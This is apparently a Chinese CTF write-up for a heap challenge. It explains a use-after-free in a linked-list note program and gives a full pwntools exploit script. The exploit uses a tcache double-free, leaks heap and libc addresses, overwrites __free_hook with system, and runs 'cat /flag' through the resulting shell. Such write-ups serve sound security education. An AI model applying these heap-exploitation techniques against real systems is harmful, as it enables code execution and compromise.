不懂pwn的大夫不是好厨师
题目用链表连接note,有add,free和show
note结构为0x10:memo, 0xf0:content, 0x8:next_ptr
free有UAF漏洞:
unsigned __int64 m2free()
{
_QWORD *i; // [rsp+0h] [rbp-30h]
void *ptr; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("memo> ");
read(0, buf, 0x10uLL);
if ( unk_202020 )
{
if ( unk_202020 == 1 )
{
free(qword_202018);
qword_202018 = 0LL;
--unk_202020;
}
else if ( (unsigned int)strncmp16(buf, qword_202018) )
{
ptr = qword_202018;
qword_202018 = (void *)*((_QWORD *)qword_202018 + 32);
free(ptr);
--unk_202020;
}
else
{
for ( i = qword_202018; i; i = (_QWORD *)i[32] )
{
if ( (unsigned int)strncmp16(buf, i) )
{
free(i); // 超过1个,且不是第1个,UAF
--unk_202020;
return __readfsqword(0x28u) ^ v4;
}
}
}
}
return __readfsqword(0x28u) ^ v4;
}
show通过链表输出,这是个唯一的坑:当free到unsort时ptr这个位置会变成pre_size,show的时候会崩。
unsigned __int64 m3show()
{
char *s; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
for ( s = (char *)qword_202018; s; s = (char *)*((_QWORD *)s + 32) )
{
printf("memo> ");
puts(s);
printf("content> ");
puts(s + 16);
}
return __readfsqword(0x28u) ^ v2;
}
需要想办法让它结束。
思路:
- 先建一定量填充,让free后unlink不小于1
- 建1,2,3三个块先给2free7次show得到堆地址,再free1进入unsort,由于这里指针有问题无法show
- 这时再建用到tcache里的2的环,下边把每次单独列(e10是unsort块,这里e10的下一块指针不正常,需要处理)
- 建在f20,在f20处写入f40,在f40处写e30 next->x
- 建在f20 next->f20
- 建在f40 next->f20 同时覆盖f20的指针让它指向e10
- 建在330 next->f40 同时覆盖e10的指针为0
- 将e10的指针置0恢复正常后就可以show得到libc了
- 得到libc后就是简单的doublefree将system写到free_hook再释放/bin/sh
这个题没给libc也起不来远程环境,用最简单的libc-2.27-3ubuntu1作的。如果其它坑应该出在libc上。昨天的hook自动刷新让人心有余悸。
完整exp:
from pwn import *
'''
patchelf --set-interpreter /home/shi/buuctf/buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed /home/shi/buuctf/buuoj_2.27_amd64/libc-2.27.so pwn
'''
elf = ELF('./pwn')
context.arch = 'amd64'
def connect(local=1):
global p
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 27672)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
context(arch='amd64', log_level='debug')
menu = b"4.Note Draft\n> "
def add(memo, msg):
p.sendlineafter(menu, b'1')
p.sendafter(b"memo> ", memo)
p.sendafter(b"content> ", msg)
def free(memo):
p.sendlineafter(menu, b'2')
p.sendafter(b"memo> ", memo)
def show():
p.sendlineafter(menu, b'3')
def pwn():
for i in range(11):
add(b'X', b'x')
add(b'1'*0x10, flat(0, 0x111)*3)
add(b'2'*0x10, flat(0, 0x111)*3)
add(b'3'*0x10, flat(0, 0x111)*3)
free(b'2'*0x10)
free(b'\x00'*8 + b'2'*8)
show()
p.recvuntil(b'memo> ')
p.recvuntil(b'memo> ')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) # 480:xx370
print('heap:', hex(heap_addr))
for i in range(5):
free(p64(heap_addr)+ b'2'*8) #0
free(b'1'*0x10)
add(p64(heap_addr+0x20)+b'4'*8, flat(0,0x111, heap_addr-0xf0))
add(p64(heap_addr+0x20)+b'4'*8, p64(0))
add(b'5'*0x10, b'A'*0xd0+p64(heap_addr -0x110))
add(b'6'*0x10, b'A'*0xd0+p64(0))
show()
p.recvuntil(b'memo> ')
p.recvuntil(b'memo> ')
p.recvuntil(b'memo> ')
p.recvuntil(b'memo> ')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget= libc_base + one[0]
print('libc:', hex(libc_base))
free(b'5'*0x10)
free(p64(0) + b'5'*0x8)
add(p64(libc_elf.sym['__free_hook']), b'A')
add(b'/bin/sh\x00', b'\x00')
add(p64(libc_elf.sym['system']), b'\x00')
free(b'/bin/sh\x00'+b'5'*8)
#p.recv()
p.sendline(b'cat /flag')
p.interactive()
connect(1)
pwn()
'''
e30->f40->f20->e10->0
0x559d2961ee00: 0x0000559d2961ebf0 0x0000000000000111
0x559d2961ee10: 0x00007f10c687aca0 0x00007f10c687aca0
0x559d2961ee20: 0x0000000000000000 0x0000000000000111
0x559d2961ee30: 0x3636363636363636 0x3636363636363636
....
0x559d2961ef10: 再覆盖这里为0-->0x0000000000000000 0x0000000000000110
0x559d2961ef20: 0x0000559d2961ef40 0x3434343434343434
0x559d2961ef30: 0x0000559d2961ef40 0x0000000000000111
0x559d2961ef40: 预放个e30-->0x3535353535353535 0x3535353535353535
....
0x559d2961f020: 先覆盖这里指向unsort-->0x0000559d2961ee10 0x0000000000000111
0x559d2961f030: 0x3333333333333333 0x3333333333333333
0x559d2961f040: 0x0000559d2961ef20 0x0000000000000111
0x559d2961f050: 0x0000000000000000 0x0000000000000111
'''